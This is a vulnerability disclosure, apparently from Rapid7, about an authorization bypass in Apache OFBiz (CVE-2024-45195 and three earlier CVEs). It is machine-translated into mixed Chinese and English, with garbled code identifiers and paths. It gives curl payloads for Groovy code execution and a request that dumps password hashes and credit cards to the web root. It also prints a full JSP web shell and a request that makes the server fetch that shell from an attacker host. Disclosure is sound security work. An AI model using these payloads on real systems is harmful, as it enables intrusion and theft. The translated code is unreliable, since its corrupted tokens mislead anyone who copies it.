最后更新于2024年9月6日星期五15:27:39 GMT
Apache OFBiz below 18.12.16 is vulnerable to 在Linux和Windows上执行未经身份验证的远程代码. 没有有效凭证的攻击者可以利用web应用程序中缺少的视图授权检查,在服务器上执行任意代码. 通过绕过以前的补丁程序,可以方便地利用 CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.
Product Description
Apache OFBiz 是基于web的开源企业资源计划和客户关系管理套件吗. 该软件具有会计功能, 目录和供应链管理, 存储支付信息, and more. 许多大型组织都在使用Apache OFBiz, 以及之前披露的漏洞 见过野外的剥削吗.
Credit
This issue 是由Ryan Emmons向Apache OFBiz团队报告的, Rapid7首席安全研究员, 其他几位研究人员也是如此. 漏洞正在按照 Rapid7的漏洞披露策略. Rapid7非常感谢Apache OFBiz开源社区开发者在这个问题上的帮助和合作.
Vulnerability Context
2024年发布了一些针对Apache OFBiz的未经身份验证的代码执行cve. 8月,网络安全和基础设施安全局 added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, 其中三个漏洞是, essentially, 同样的漏洞,同样的根本原因. 由于我们今天披露的补丁旁路详细说明了之前的披露, we’ll outline them now.
CVE-2024-32113
这个序列中的第一个漏洞, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). 当意外的URI模式被发送到应用程序时, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.
As a result, 攻击者可以通过未经身份验证的控制器混淆已实现的逻辑,从而获取经过身份验证的视图映射并与之交互. When this happens, 只执行控制器授权检查, 攻击者可以使用它来访问执行SQL查询或代码等操作的仅管理员视图映射.
一个名为“ProgramExport”的经过身份验证的管理员视图映射将执行Groovy脚本, and this view map can be leveraged to execute arbitrary code without authentication. 此漏洞的有效负载示例, which uses path traversal to fragment the controller-view map state, is shown below.
curl http://target: 8443 / webtools /控制/ forgotPassword /../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
The OFBiz Jira issue 该漏洞的描述是“某些url在产生问题之前需要被拒绝”。, 修复是如何实现的. 修复更改包括试图在解析获取的控制器和视图映射之前对url进行规范化的代码. 这个补丁是v18发布的.12.13.
CVE-2024-36104
这个序列中的第二个CVE条目, CVE-2024-36104 出版于2024年6月4日. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. 尽管补丁由多次提交组成,但大部分修复是在 bc856f46f8添加了以下代码,以从URI中删除分号和url编码的句号.
字符串urfilter =新的URI(initialURI)
.normalize().toString()
.replaceAll(";", "")
.replaceAll("(?i)%2e", "");
if (!initialURI.equals(uRIFiltered)) {
Debug.logError("For security reason this URL is not accepted", MODULE);
throw new RuntimeException("For security reason this URL is not accepted");
该CVE在v18中进行了修补.12.14.
Two different example payloads for this vulnerability are shown below, 每个被实现的修复所剥离的序列对应一个. 这两种有效载荷也适用于受先前CVE-2024-32113影响的OFBiz安装, 因为漏洞具有相同的根本原因.
curl http://target: 8443 / webtools /控制/ forgotPassword /;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd输出:' id ").execute().text);" -vvv -k --path-as-is
curl http://target: 8443 / webtools /控制/ forgotPassword /%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd输出:' id ").execute().text);" -vvv -k --path-as-is
CVE-2024-38856
这个序列中的第三个弱点, CVE-2024-38856,发表于2024年8月5日. This time, the vulnerability was described as an incorrect authorization issue. CVE的描述指出“如果满足某些先决条件,未经身份验证的端点可以允许执行屏幕的屏幕渲染代码(例如当屏幕定义没有显式检查用户的权限,因为它们依赖于端点的配置)。”.这句话更准确地描述了这个问题. As we’ll see in a moment, it also indicates the approach taken for the fix this time.
SonicWall的研究团队向OFBiz团队报告了这一漏洞 an excellent blog post 这很好地解释了根本原因,并将重点放在控制器-视图映射状态碎片上, 而不仅仅是触发它的方法. 令人惊讶的是,他们的博客文章报告说,根本不需要遍历或分号序列! A request to a path like / webtools /控制/ forgotPassword / ProgramExport
将导致控制器被设置为“forgotPassword”,视图映射被设置为“ProgramExport”.
此漏洞的有效负载示例如下所示.
curl http://target: 8443 / webtools /控制/ forgotPassword /ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd输出:' id ").execute().text);" -vvv -k
This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, 因为三个人的根本原因是一样的.
The OFBiz Jira issue 此漏洞的标题为“为ProgramExport和EntitySQLProcessor添加权限检查”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport
and EntitySQLProcessor
,以前的漏洞所针对的两个视图地图. The three lines below were added to both Groovy files associated with those view maps, 有效防止未经身份验证访问它们.
if (!security.hasPermission('ENTITY_MAINT', userLogin) {
return
}
结果,这两种开发技术都不再可行. However, the underlying problem, 分割控制器-视图映射状态的能力, v18没有解决.12.15 patch.
Exploitation
To recap, 之前的三个漏洞都是由相同的底层问题引起的, 使控制器和视图映射状态不同步的能力. 任何补丁都没有完全解决这个缺陷. 在我们研究的时候, requestUri
and overrideViewUri
变量仍然可以按照SonicWall博客文章中描述的方式去同步, albeit not to reach ProgramExport
or EntitySQLProcessor
. 我们的测试目标是v18.12.15、研究时可用的最新版本.
The 框架/ webtools /部件/ EntityScreens.xml
file defines some EntityScreens that might be leveraged by an attacker.
$ grep 'script' 框架/ webtools /部件/ EntityScreens.xml
[..SNIP..]
We can’t useProgramExport
or EntitySQLProcessor
这一次,因为现在强制执行了授权检查. 但是,攻击者可以利用另一个视图来利用没有身份验证的应用程序. 一个可能的Groovy视图屏幕选项的XML Data Export管理仪表板特性的屏幕截图, XmlDsDump
, is below.
As shown above, the XmlDsDump
视图可用于查询数据库中几乎所有存储的数据,并将结果数据写入磁盘上任意位置的任意命名的文件. 值得注意的是,附带的Groovy脚本 XmlDsDump.groovy
不强制授权检查.
As a proof of concept, 我们将尝试取消控制器视图映射状态的同步,以便在没有身份验证的情况下访问“转储”视图. 下面的cURL请求将尝试转储所有用户名, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.
curl http://target: 8443 / webtools /控制/ forgotPassword /xmldsdump' -d "outpath=./主题/主题/ webapp /共同的主题&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName - k =信用卡”
在调试器中观察请求确认 requestUri
and overrideViewUri
值混淆仍然是可能的 RequestHandler.java
. This is depicted in the screenshot below, where our cURL request has resulted in requestUri
设置为未经身份验证的端点和 overrideViewUri
正在设置为已验证视图.
请求完成后, 第二个未经身份验证的cURL请求确认操作成功完成.
$ curl 'http://target:8443/common/stolen.txt' -k
[..SNIP..]
密码哈希值和信用卡号已写入web根目录中可访问的文件, 通过补丁旁路演示利用. It’s likely that cracking a user password hash would succeed in a real-world attack, 因为密码哈希算法是一个弱算法. However, 为了避免破解任何哈希, we also leveraged the vulnerability to achieve remote code execution.
Within controller.xml
, a view map called viewdatafile
is defined at [0]
.
[..SNIP..]
[0]
[..SNIP..]
Within 框架/ webtools /部件/ MiscScreens.xml
, viewdatafile
是否与脚本相关联 ViewDataFile.groovy
(at [1]
).
[..SNIP..]
[1]
[..SNIP..]
That script is below. 它检查各种请求参数(从 [2]
)来执行文件操作. At [3]
, if DATAFILE_SAVE
存在并且数据文件已被解析, the datafile contents will be written to the disk location specified by DATAFILE_SAVE
.
package org.apache.ofbiz.webtools.datafile
import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader
uiLabelMap = UtilProperties.getResourceBundleMap(“WebtoolsUiLabels”、区域)
messages = []
dataFileSave = request.getParameter (DATAFILE_SAVE) [2]
entityXmlFileSave =请求.getParameter(“ENTITYXML_FILE_SAVE”)
dataFileLoc = request.getParameter(“DATAFILE_LOCATION”)
definitionLoc = request.getParameter(“DEFINITION_LOCATION”)
definitionName = request.getParameter(“DEFINITION_NAME”)
dataFileIsUrl = null != request.getParameter(“DATAFILE_IS_URL”)
definitionIsUrl = null != request.getParameter(“DEFINITION_IS_URL”)
try {
dataFileUrl = dataFileIsUrl ? UtilURL.frommurlstring (dataFileLoc): utiurl.fromFilename (dataFileLoc)
}
catch (java.net.malformmedurlexception e) {
messages.add(e.getMessage())
}
try {
definitionUrl = definitionIsUrl ? UtilURL.frommurlstring (definitionLoc): utiurl.fromFilename (definitionLoc)
}
catch (java.net.malformmedurlexception e) {
messages.add(e.getMessage())
}
definitionNames = null
if (definitionUrl) {
try {
ModelDataFileReader阅读器= ModelDataFileReader.getModelDataFileReader (definitionUrl)
if (reader) {
definitionNames = ((Collection)reader.getDataFileNames()).iterator()
context.把(definitionNames, definitionNames)
}
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
try {
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
context.把(“丢失”,丢失)
}
catch (Exception e) {
messages.add(e.toString()); Debug.log(e)
}
}
if (dataFile) {
modelDataFile = dataFile.getModelDataFile()
context.把(modelDataFile, modelDataFile)
}
if (dataFile && dataFileSave) { [3]
try {
dataFile.writeDataFile (dataFileSave)
messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
if (dataFile && entityXmlFileSave) {
try {
//dataFile.writeDataFile (entityXmlFileSave)
DataFile2EntityXml.writeToEntityXml (entityXmlFileSave丢失)
messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
context.messages = messages
Apache OFBiz还附带了一些示例数据文件 datafiles.adoc
. 下面是该文本的节选.
[..SNIP..]
== Examples
===样本固定宽度CSV文件posreport.csv to be imported:
.固定宽度平面文件导入的示例.
[source,csv]
021196033702, 5031bb亮胶笔,1,5031bb,1, 299,
021196043121, bb4312奇妙泡沫组合,1,bb4312,1, 280,
021196055025, 9905bb羽毛多色,1,9905bb, 4,396,
===示例xml定义文件,用于导入选择列
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
.另一个读取固定记录的小端二进制文件的例子
[source, xml]
=== Procedure:
在界面中输入如下内容:
. 文件名或URL: posschema.xml
. 数据文件定义名称:posreport
. 数据文件名或URL: posreport.csv
这些信息对于将我们从Groovy脚本中学到的内容放在上下文中非常有帮助. 我们需要提供一个XML定义文件位置, 数据文件XML定义名称, a CSV data file location, 以及保存从CSV中提取的数据的文件路径. 我们还需要指定定义文件位置和CSV位置都是远程url, which we can do via the DEFINITION_IS_URL
and DATAFILE_IS_URL
parameters.
下面是我们的恶意定义文件, rceschema.xml
. 我们在数据文件中的记录中定义了一个“jsp”字符串字段. In the XML, this represents our JSP web shell that will be written to the web root.
$ cat rceschema.xml
接下来,我们需要一个CSV,它包含一行和一个值,即我们的JSP web shell. This value is 605 characters long, as indicated in our XML definition. 因为我们将有效负载注入到CSV上下文中, 我们将在JSP中构建一个字符串以避免任何逗号, 我们用逗号分隔有效载荷.
$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %>Ahoy!
<% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "
"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
Lastly, we’ll start a Python web server listening on port 80 of our attack machine, 然后执行cURL请求来利用该漏洞.
POST /webtools/control/forgotPassword/viewdatafile HTTP/
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
内容类型:应用程序/ x-www-form-urlencoded
DATAFILE_LOCATION = http://attacker: 80 / rcereport.csv&DATAFILE_SAVE=./应用程序/会计/ webapp /会计/索引.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION = http://attacker: 80 / rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
After the server fetches and processes our two files, browsing the targeted accounting/index.jsp
path confirms that we’ve established unauthenticated remote code execution.
Remediation
我们要感谢Apache OFBiz团队,他们迅速回应了我们的披露并进行了修补 the vulnerability in v18.12.16. In this patch,为视图实现了授权检查. 此更改验证如果用户未经过身份验证,视图应该允许匿名访问, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.
Rapid7 Customers
InsightVM and Nexpose customers can assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, 以及带有漏洞检查的CVE-2024-45195在9月5日的内容发布中可用.
Disclosure Timeline
- August 16, 2024: Rapid7通过电子邮件联系Apache OFBiz安全团队.
- August 17, 2024: Apache OFBiz社区开发人员感谢报告.
- August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
- August 22, 2024: CVE-2024-45195由Apache社区开发团队保留.
- August 24, 2024: 补丁发送到Rapid7进行测试.
- August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
- August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
- September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
- September 5, 2024: This disclosure.
永远不要错过新出现的威胁
Be the first to learn about the latest vulnerabilities and cybersecurity news.
Subscribe Now